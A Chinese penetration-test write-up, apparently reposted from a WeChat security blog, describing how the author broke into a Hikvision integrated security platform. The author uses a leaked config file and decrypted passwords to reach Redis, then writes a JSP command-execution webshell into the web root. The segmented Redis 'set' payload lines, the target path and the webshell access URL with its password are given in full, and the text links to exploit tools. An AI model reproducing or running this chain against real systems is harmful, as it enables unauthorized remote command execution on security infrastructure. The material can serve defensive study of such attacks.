记一次海康综合安防系统从Redis到内网
前言:本文中涉及到的相关技术或工具仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担,如有侵权请私聊删除。
由于微信公众号推送机制改变了,快来星标不再迷路,谢谢大家!
某次项目,扫描器扫出来了海康威视-综合安防管理平台 config.properties 文件存在敏感信息泄露漏洞
由于以上的password值是加密的,可以使用以下工具进行解密
https://github.com/wafinfo/DecryptTools
Pg连接上,权限不够 无法打开用户表
Redis能连接上
此时四个思路,反弹shell、写SSH公钥、主从复制(版本够低)、写Webshell(要有路径)
第一种思路:反弹shell(失败)
本来以为是机子不出网,无法反弹shell
后续拿下系统权限后,看了一下目录,确实是写进去了但无法执行。
第二种思路:写SSH公钥(失败)
利用条件:
● Redis服务使用root账号启动
● 成功连接redis
● 服务器开放了SSH服务,而且允许使用密钥登录,并且存在/root/.ssh目录
后续拿到权限翻系统文件后,确定是没有.ssh文件夹所以写不了
第三种思路:主从复制(生产环境,怕出问题所以没有采用这种打法)
这里用到的脚本为:(强烈推荐!)
https://github.com/yuyan-sec/RedisEXP
第四种思路:写Webshell(要有路径)
这时候有一个问题? 路径哪里来?
思路:由于综合安防系统的路径比较固定且存在多个文件上传漏洞,直接去找之前的文件上传漏洞都是上传到了哪个文件夹,我们对应的把Webshell写到该文件夹下即可。
这里找到一个历史文件上传漏洞
再结合Redis中info的信息,确定我们的上传路径应该为
/home/hikvision/web/components/tomcat85linux64.1/webapps/els/static/
成功!
现在就要解决怎么写入jspWebshell的问题了。
但是这个才是本章文章中最难的地方。
网上普遍都是写入php类型的webshell,但是由于jsp类型的webshell长度非常长,且由于reids缓存的原因,很难写入完整的webshell(会有大量的脏数据)。
但是还好找到一篇文章,已经有前人对此问题进行研究了
文章如下:
https://cloud.tencent.com/developer/article/2422977
按文章最后的关闭Redis默认压缩未成功
没成功,时间比较赶,那么就按文章中前面的分段写入试试。
按以上文章的顺序先写到txt中
set x '*/byte[] b = new byte[2048];/*'
set x2 '*/out.print("<pre>");/*'
set x3 '*/out.print("</pre>");}%>'
set x4 '*/request.getParameter("i")).getInputStream();/*'
set x5 '/r/n/r/n<% if ("023".equals(request.getParameter("pwd"))) {/*'
set x6 '*/java.io.InputStream in = Runtime.getRuntime().exec(/*'
set x7 '*/int a = -1;/*'
set x8 '*/while ((a = in.read(b)) != -1) {/*'
set x9 '*/out.println(new String(b));}/*'
x5 - x6 - x4 - x7 - x - x2 - x8 - x9 - x3
然后访问写入的txt,会发现不是按文章中的顺序
x5 - x6 - x4 - x7 - x - x2 - x8 - x9 - x3
(顺序本身就是随机的,但是要隔一定时间才会变化)
不过没事,我们可以再根据txt中的每个段自己再确定一下顺序(这步看看上面文章就懂了)
最后确定顺序为
x7 x5 x8 x9 x3 x6 x4 x x2
访问
/els/static/999.jsp?pwd=023&i=ifconfig
成功拿下!
后续由于不让进行内网渗透,点到为止。
原文始发于微信公众号(不秃头的安全):挖洞实战 | 记一次海康综合安防系统从Redis到内网
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论